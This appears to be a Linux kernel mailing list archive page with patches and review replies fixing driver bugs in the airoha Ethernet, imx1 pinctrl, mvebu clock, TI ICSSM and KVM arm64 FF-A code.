--- a/drivers/net/ethernet/airoha/airoha_eth.c
+++ b/drivers/net/ethernet/airoha/airoha_eth.c
@@ -1771,6 +1771,13 @@ static int airoha_dev_stop(struct net_device *dev)
airoha_qdma_cleanup_tx_queue(&qdma->q_tx[i]);
}
+
+ for (i = 0; i < ARRAY_SIZE(qdma->q_rx); i++) {
+ if (!qdma->q_rx[i].ndesc)
+ continue;
+
+ airoha_qdma_cleanup_rx_queue(&qdma->q_rx[i]);
+ }
}
return 0;
--
2.51.0
^ permalink raw reply related
* [PATCH RESEND] pinctrl: imx1: fix device_node leak in dt_is_flat_functions()
From: Felix Gu @ 2026-06-16 12:14 UTC (permalink / raw)
To: Dong Aisheng, Fabio Estevam, Frank Li, Jacky Bai,
Pengutronix Kernel Team, NXP S32 Linux Team, Linus Walleij,
Sascha Hauer
Cc: linux-gpio, imx, linux-arm-kernel, linux-kernel, Felix Gu
for_each_child_of_node() holds a reference on the iterator node that
must be released on early return. imx1_pinctrl_dt_is_flat_functions()
has two early return paths inside the loop that skip this cleanup.
Replace both loops with the scoped variant so that the reference is
automatically dropped when the iterator goes out of scope.
Fixes: 63d2059cd665 ("pinctrl: imx1: Allow parsing DT without function nodes")
Signed-off-by: Felix Gu <ustc.gu@gmail.com>
---
drivers/pinctrl/freescale/pinctrl-imx1-core.c | 7 ++-----
1 file changed, 2 insertions(+), 5 deletions(-)
diff --git a/drivers/pinctrl/freescale/pinctrl-imx1-core.c b/drivers/pinctrl/freescale/pinctrl-imx1-core.c
index b7bd4ef9c0db..4a6bdaefa42f 100644
--- a/drivers/pinctrl/freescale/pinctrl-imx1-core.c
+++ b/drivers/pinctrl/freescale/pinctrl-imx1-core.c
@@ -547,14 +547,11 @@ static int imx1_pinctrl_parse_functions(struct device_node *np,
*/
static bool imx1_pinctrl_dt_is_flat_functions(struct device_node *np)
{
- struct device_node *function_np;
- struct device_node *pinctrl_np;
-
- for_each_child_of_node(np, function_np) {
+ for_each_child_of_node_scoped(np, function_np) {
if (of_property_present(function_np, "fsl,pins"))
return true;
- for_each_child_of_node(function_np, pinctrl_np) {
+ for_each_child_of_node_scoped(function_np, pinctrl_np) {
if (of_property_present(pinctrl_np, "fsl,pins"))
return false;
}
---
base-commit: c1ecb239fa3456529a32255359fc78b69eb9d847
change-id: 20260523-pinctrl-imx-b198f8391abf
Best regards,
--
Felix Gu <ustc.gu@gmail.com>
--
Felix Gu <ustc.gu@gmail.com>
^ permalink raw reply related
* [PATCH v2] clk: mvebu: ap-cpu: fix missing clk_put() in ap_cpu_clock_probe()
From: Wentao Liang @ 2026-06-16 12:29 UTC (permalink / raw)
To: andrew, gregory.clement, sebastian.hesselbarth, mturquette, sboyd
Cc: bmasney, linux-arm-kernel, linux-clk, linux-kernel, Wentao Liang
The function ap_cpu_clock_probe() calls of_clk_get() to obtain a
reference to the parent clock for each CPU cluster, but it never
releases it with clk_put(). The returned clk is used only to read
the parent's name via __clk_get_name(), and the reference is leaked
on every successful cluster initialization as well as on the error
path when devm_clk_hw_register() fails.
Rather than adding clk_put() calls, replace the of_clk_get() +
__clk_get_name() pattern with of_clk_get_parent_name(), which is
the intended API for this use case and handles the reference
counting internally. This matches the pattern already used by the
sibling drivers clk-cpu.c and clk-corediv.c.
Fixes: af9617b419f7 ("clk: mvebu: ap-cpu-clk: Fix a memory leak in error handling paths")
Signed-off-by: Wentao Liang <vulab@iscas.ac.cn>
---
v2: Replace of_clk_get() + __clk_get_name() with of_clk_get_parent_name()
as suggested by Brian Masney, instead of adding clk_put() calls.
Also correct the Fixes: tag to point to the original commit that
introduced the leak.
---
drivers/clk/mvebu/ap-cpu-clk.c | 10 +++-------
1 file changed, 3 insertions(+), 7 deletions(-)
diff --git a/drivers/clk/mvebu/ap-cpu-clk.c b/drivers/clk/mvebu/ap-cpu-clk.c
index a8175908e353..1cf63c7a0bc3 100644
--- a/drivers/clk/mvebu/ap-cpu-clk.c
+++ b/drivers/clk/mvebu/ap-cpu-clk.c
@@ -288,7 +288,6 @@ static int ap_cpu_clock_probe(struct platform_device *pdev)
char *clk_name = "cpu-cluster-0";
struct clk_init_data init;
const char *parent_name;
- struct clk *parent;
u64 cpu;
cpu = of_get_cpu_hwid(dn, 0);
@@ -304,13 +303,12 @@ static int ap_cpu_clock_probe(struct platform_device *pdev)
if (ap_cpu_data->hws[cluster_index])
continue;
- parent = of_clk_get(np, cluster_index);
- if (IS_ERR(parent)) {
- dev_err(dev, "Could not get the clock parent\n");
+ parent_name = of_clk_get_parent_name(np, cluster_index);
+ if (!parent_name) {
+ dev_err(dev, "Could not get the clock parent name\n");
of_node_put(dn);
return -EINVAL;
}
- parent_name = __clk_get_name(parent);
clk_name[12] += cluster_index;
ap_cpu_clk[cluster_index].clk_name =
ap_cp_unique_name(dev, np->parent, clk_name);
@@ -328,11 +326,9 @@ static int ap_cpu_clock_probe(struct platform_device *pdev)
ret = devm_clk_hw_register(dev, &ap_cpu_clk[cluster_index].hw);
if (ret) {
of_node_put(dn);
- clk_put(parent);
return ret;
}
ap_cpu_data->hws[cluster_index] = &ap_cpu_clk[cluster_index].hw;
- clk_put(parent);
}
ap_cpu_data->num = cluster_index + 1;
--
2.34.1
^ permalink raw reply related
* Re: [PATCH v2] [net] net: airoha: fix foe_check_time allocation size
From: Lorenzo Bianconi @ 2026-06-16 12:34 UTC (permalink / raw)
To: Wayen Yan
Cc: netdev, horms, pabeni, kuba, edumazet, andrew+netdev,
angelogioacchino.delregno, matthias.bgg, linux-arm-kernel,
linux-mediatek
In-Reply-To: <178161119471.2163752.14373384830691569758@gmail.com>
[-- Attachment #1: Type: text/plain, Size: 1276 bytes --]
> foe_check_time is declared as u16 pointer but was allocated with
> only ppe_num_entries bytes instead of ppe_num_entries * sizeof(u16).
>
> When airoha_ppe_foe_verify_entry() is called with hash >= ppe_num_entries/2,
> it writes beyond the allocated buffer, causing heap buffer overflow and
> potential kernel crash.
>
> Fixes: 6d5b601d52a2 ("net: airoha: ppe: Dynamically allocate foe_check_time array in airoha_ppe struct")
> Signed-off-by: Wayen Yan <win847@gmail.com>
Acked-by: Lorenzo Bianconi <lorenzo@kernel.org>
> ---
> drivers/net/ethernet/airoha/airoha_ppe.c | 3 ++-
> 1 file changed, 2 insertions(+), 1 deletion(-)
>
> diff --git a/drivers/net/ethernet/airoha/airoha_ppe.c b/drivers/net/ethernet/airoha/airoha_ppe.c
> index 5c9dff6bcc..8fb8ecf909 100644
> --- a/drivers/net/ethernet/airoha/airoha_ppe.c
> +++ b/drivers/net/ethernet/airoha/airoha_ppe.c
> @@ -1578,7 +1578,8 @@ int airoha_ppe_init(struct airoha_eth *eth)
> return -ENOMEM;
> }
>
> - ppe->foe_check_time = devm_kzalloc(eth->dev, ppe_num_entries,
> + ppe->foe_check_time = devm_kzalloc(eth->dev,
> + ppe_num_entries * sizeof(*ppe->foe_check_time),
> GFP_KERNEL);
> if (!ppe->foe_check_time)
> return -ENOMEM;
> --
> 2.51.0
>
>
[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 228 bytes --]
^ permalink raw reply
* Re: [PATCH v2] [net] net: airoha: Fix QoS counter configuration for Tx-fwd channels
From: Lorenzo Bianconi @ 2026-06-16 12:35 UTC (permalink / raw)
To: Wayen Yan
Cc: netdev, horms, pabeni, kuba, edumazet, andrew+netdev,
angelogioacchino.delregno, matthias.bgg, linux-arm-kernel,
linux-mediatek
In-Reply-To: <178161132384.2164449.18407700117859190327@gmail.com>
[-- Attachment #1: Type: text/plain, Size: 1430 bytes --]
> In airoha_qdma_init_qos_stats(), the Tx-fwd counter was incorrectly
> using register index (i << 1) instead of ((i << 1) + 1). This caused
> the Tx-fwd configuration to overwrite the Tx-cpu configuration for
> each QoS channel, resulting in incorrect QoS statistics.
>
> Fix by using the correct register index ((i << 1) + 1) for Tx-fwd
> counter configuration.
>
> Fixes: 20bf7d07c956 ("net: airoha: Add sched ETS offload support")
> Signed-off-by: Wayen Yan <win847@gmail.com>
Is this a patch you already sent? IIRC I have acked it.
Regards,
Lorenzo
> ---
> drivers/net/ethernet/airoha/airoha_eth.c | 2 +-
> 1 file changed, 1 insertion(+), 1 deletion(-)
>
> diff --git a/drivers/net/ethernet/airoha/airoha_eth.c b/drivers/net/ethernet/airoha/airoha_eth.c
> index 31cdb11cd7..329988a840 100644
> --- a/drivers/net/ethernet/airoha/airoha_eth.c
> +++ b/drivers/net/ethernet/airoha/airoha_eth.c
> @@ -1256,7 +1256,7 @@ static void airoha_qdma_init_qos_stats(struct airoha_qdma *qdma)
> FIELD_PREP(CNTR_CHAN_MASK, i));
> /* Tx-fwd transferred count */
> airoha_qdma_wr(qdma, REG_CNTR_VAL((i << 1) + 1), 0);
> - airoha_qdma_wr(qdma, REG_CNTR_CFG(i << 1),
> + airoha_qdma_wr(qdma, REG_CNTR_CFG((i << 1) + 1),
> CNTR_EN_MASK | CNTR_ALL_QUEUE_EN_MASK |
> CNTR_ALL_DSCP_RING_EN_MASK |
> FIELD_PREP(CNTR_SRC_MASK, 1) |
> --
> 2.51.0
>
>
[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 228 bytes --]
^ permalink raw reply
* Re: [PATCH v2] [net] net: airoha: Stop TX queues on error path in airoha_dev_open
From: Lorenzo Bianconi @ 2026-06-16 12:37 UTC (permalink / raw)
To: Wayen Yan
Cc: netdev, horms, pabeni, kuba, edumazet, andrew+netdev,
angelogioacchino.delregno, matthias.bgg, linux-arm-kernel,
linux-mediatek
In-Reply-To: <178161146875.2165143.7400860261990016053@gmail.com>
[-- Attachment #1: Type: text/plain, Size: 1453 bytes --]
> In airoha_dev_open(), if airoha_set_vip_for_gdm_port() fails after
> netif_tx_start_all_queues() has been called, the TX queues remain
> started while the device configuration is incomplete. This leaves
> the device in an inconsistent state where packets could be
> transmitted before the VIP/IFC port configuration is complete.
>
> Add netif_tx_stop_all_queues() call on the error path to properly
> roll back the TX queue state.
>
> Fixes: 23020f049327 ("net: airoha: Introduce ethernet support for EN7581 SoC")
> Signed-off-by: Wayen Yan <win847@gmail.com>
> ---
> drivers/net/ethernet/airoha/airoha_eth.c | 4 +++-
> 1 file changed, 3 insertions(+), 1 deletion(-)
>
> diff --git a/drivers/net/ethernet/airoha/airoha_eth.c b/drivers/net/ethernet/airoha/airoha_eth.c
> index 31cdb11cd7..cf9c366907 100644
> --- a/drivers/net/ethernet/airoha/airoha_eth.c
> +++ b/drivers/net/ethernet/airoha/airoha_eth.c
> @@ -1715,8 +1715,10 @@ static int airoha_dev_open(struct net_device *dev)
>
> netif_tx_start_all_queues(dev);
> err = airoha_set_vip_for_gdm_port(port, true);
> - if (err)
> + if (err) {
> + netif_tx_stop_all_queues(dev);
I do not think this is necessary since if ndo_open() callback fails, the
net_device is not marked as running.
Regards,
Lorenzo
> return err;
> + }
>
> if (netdev_uses_dsa(dev))
> airoha_fe_set(qdma->eth, REG_GDM_INGRESS_CFG(port->id),
> --
> 2.51.0
>
>
[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 228 bytes --]
^ permalink raw reply
* Re: [PATCH net-next 3/3] net: ti: icssm-prueth: Support duplicate HW offload feature for HSR and PRP
From: Parvathi Pudi @ 2026-06-16 12:38 UTC (permalink / raw)
To: Jakub Kicinski
Cc: Parvathi Pudi, andrew+netdev, davem, edumazet, pabeni,
danishanwar, rogerq, pmohan, afd, basharath, arnd, linux-kernel,
netdev, linux-arm-kernel, pratheesh, j-rameshbabu,
Vignesh Raghavendra, praneeth, srk, rogerq, m-malladi, krishna,
mohan
In-Reply-To: <20260615135600.655e4be4@kernel.org>
Hi,
> On Thu, 11 Jun 2026 18:03:28 +0530 Parvathi Pudi wrote:
>> From: Roger Quadros <rogerq@ti.com>
>>
>> In HSR and PRP modes each outgoing frame must be sent on both PRU slave
>> ports.
>>
>> Previously the driver was writing the frame into each port's transmit queue
>> independently after updating the tags resulting in performing two OCMC
>> buffer copy operations.
>>
>> Frame duplicate offloading is implemented with a common shared queue
>> between the two ports. The driver writes the frame once into OCMC RAM,
>> each port reads from the shared queue and replicates the transmission to
>> both PRU ports, synchronising between PRU ports are maintained within
>> firmware with appropriate handling.
>>
>> For HSR the driver inspects the encapsulated ethertype in the HSR tag.
>> PTP frames (ETH_P_1588) are sent on the directed port only to avoid double
>> duplication and all other HSR frames are duplicated to both ports.
>> VLAN-tagged HSR frames are handled by advancing past the 4-byte VLAN header
>> before reading the HSR tag.
>>
>> For PRP the driver checks the 6-byte RCT trailer for the ETH_P_PRP suffix
>> to identify redundancy-tagged frames. Frames without an RCT are sent on the
>> originating port only.
>
> Warning: drivers/net/ethernet/ti/icssm/icssm_prueth.h:113 struct member
> 'host_recv_flag' not described in 'prueth_packet_info'
>
We will address this in the next version.
> Please note that net-next will be closed for the next two weeks.
Also noted regarding the net-next closure. We will post the updated series
once the tree reopens.
Thanks and Regards,
Parvathi.
^ permalink raw reply
* Re: [PATCH net-next 0/3] Introduce HSR/PRP HW offload support for PRU-ICSSM Ethernet driver
From: Parvathi Pudi @ 2026-06-16 12:40 UTC (permalink / raw)
To: Simon Horman
Cc: Parvathi Pudi, andrew+netdev, davem, edumazet, kuba, pabeni,
danishanwar, rogerq, pmohan, afd, basharath, arnd, linux-kernel,
netdev, linux-arm-kernel, pratheesh, j-rameshbabu,
Vignesh Raghavendra, praneeth, srk, rogerq, m-malladi, krishna,
mohan
In-Reply-To: <20260612200102.GN671640@horms.kernel.org>
Hi,
> On Thu, Jun 11, 2026 at 06:03:25PM +0530, Parvathi Pudi wrote:
>> Hi,
>>
>> This series introduces HSR and PRP protocol HW offload support for
>> ICSSM-Prueth driver. HW offload support for HSR/PRP is implemented using
>> dedicated HSR/PRP firmware running on 2 PRU cores(PRU-ICSS) as a "DAN"
>> available in AM57xx, AM437x and AM335x.
>
> Hi Parvathi,
>
> There is AI-generated review of this patch-set available on
> https://sashiko.dev
>
> I would appreciate it if you could look over that with a view
> to addressing any issues that directly affect this patch-set.
Sure. We will review the sashiko feedback for this patch series and
address any findings that are directly relevant in the next version.
Thanks and Regards,
Parvathi.
^ permalink raw reply
* Re: [PATCH v3 1/7] KVM: arm64: Support FFA_NOTIFICATION_BITMAP_CREATE in host handler
From: Vincent Donnefort @ 2026-06-16 12:40 UTC (permalink / raw)
To: Sebastian Ene
Cc: catalin.marinas, maz, oupton, will, joey.gouly, korneld, kvmarm,
linux-arm-kernel, linux-kernel, android-kvm, mrigendra.chaubey,
perlarsen, suzuki.poulose, yuzenghui
In-Reply-To: <20260616105417.2578670-3-sebastianene@google.com>
On Tue, Jun 16, 2026 at 10:54:09AM +0000, Sebastian Ene wrote:
> Allow FF-A notification bitmap creation messages to be forwarded to
> Trustzone from the host and introduce a helper to check for SBZ
> register fields.
>
> Signed-off-by: Sebastian Ene <sebastianene@google.com>
> ---
> arch/arm64/kvm/hyp/nvhe/ffa.c | 36 ++++++++++++++++++++++++++++++++++-
> 1 file changed, 35 insertions(+), 1 deletion(-)
>
> diff --git a/arch/arm64/kvm/hyp/nvhe/ffa.c b/arch/arm64/kvm/hyp/nvhe/ffa.c
> index 1af722771178..b1e5f9ee86ef 100644
> --- a/arch/arm64/kvm/hyp/nvhe/ffa.c
> +++ b/arch/arm64/kvm/hyp/nvhe/ffa.c
> @@ -71,6 +71,18 @@ static u32 hyp_ffa_version;
> static bool has_version_negotiated;
> static hyp_spinlock_t version_lock;
>
> +static bool ffa_check_unused_args_sbz(struct kvm_cpu_context *ctxt, int first_reg)
> +{
> + int reg;
> +
> + for (reg = first_reg; reg < 17; reg++) {
> + if (cpu_reg(ctxt, reg))
> + return true;
> + }
> +
> + return false;
> +}
> +
Hum, there's something a bit weird, as this function was introduced already in
the previous patch. (and both have the same number)
> static void ffa_to_smccc_error(struct arm_smccc_1_2_regs *res, u64 ffa_errno)
> {
> *res = (struct arm_smccc_1_2_regs) {
> @@ -676,7 +688,6 @@ static bool ffa_call_supported(u64 func_id)
> case FFA_MEM_DONATE:
> case FFA_MEM_RETRIEVE_REQ:
> /* Optional notification interfaces added in FF-A 1.1 */
> - case FFA_NOTIFICATION_BITMAP_CREATE:
> case FFA_NOTIFICATION_BITMAP_DESTROY:
> case FFA_NOTIFICATION_BIND:
> case FFA_NOTIFICATION_UNBIND:
> @@ -862,6 +873,26 @@ static void do_ffa_part_get(struct arm_smccc_1_2_regs *res,
> hyp_spin_unlock(&host_buffers.lock);
> }
>
> +static void do_ffa_notif_bitmap(struct arm_smccc_1_2_regs *res,
> + struct kvm_cpu_context *ctxt)
> +{
> + DECLARE_REG(u32, vmid, ctxt, 1);
> + struct arm_smccc_1_2_regs *args;
> +
> + if (ffa_check_unused_args_sbz(ctxt, 3)) {
> + ffa_to_smccc_res(res, FFA_RET_INVALID_PARAMETERS);
> + return;
> + }
> +
> + if (vmid != HOST_FFA_ID) {
> + ffa_to_smccc_res(res, FFA_RET_INVALID_PARAMETERS);
> + return;
> + }
> +
> + args = (void *)&ctxt->regs.regs[0];
> + hyp_smccc_1_2_smc(args, res);
> +}
> +
> bool kvm_host_ffa_handler(struct kvm_cpu_context *host_ctxt, u32 func_id)
> {
> struct arm_smccc_1_2_regs res;
> @@ -920,6 +951,9 @@ bool kvm_host_ffa_handler(struct kvm_cpu_context *host_ctxt, u32 func_id)
> case FFA_PARTITION_INFO_GET:
> do_ffa_part_get(&res, host_ctxt);
> goto out_handled;
> + case FFA_NOTIFICATION_BITMAP_CREATE:
> + do_ffa_notif_bitmap(&res, host_ctxt);
> + goto out_handled;
> }
>
> if (ffa_call_supported(func_id))
> --
> 2.54.0.1099.g489fc7bff1-goog
>
^ permalink raw reply
page: next (older) | prev (newer) | latest
- recent:[subjects (threaded)|topics (new)|topics (active)]
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox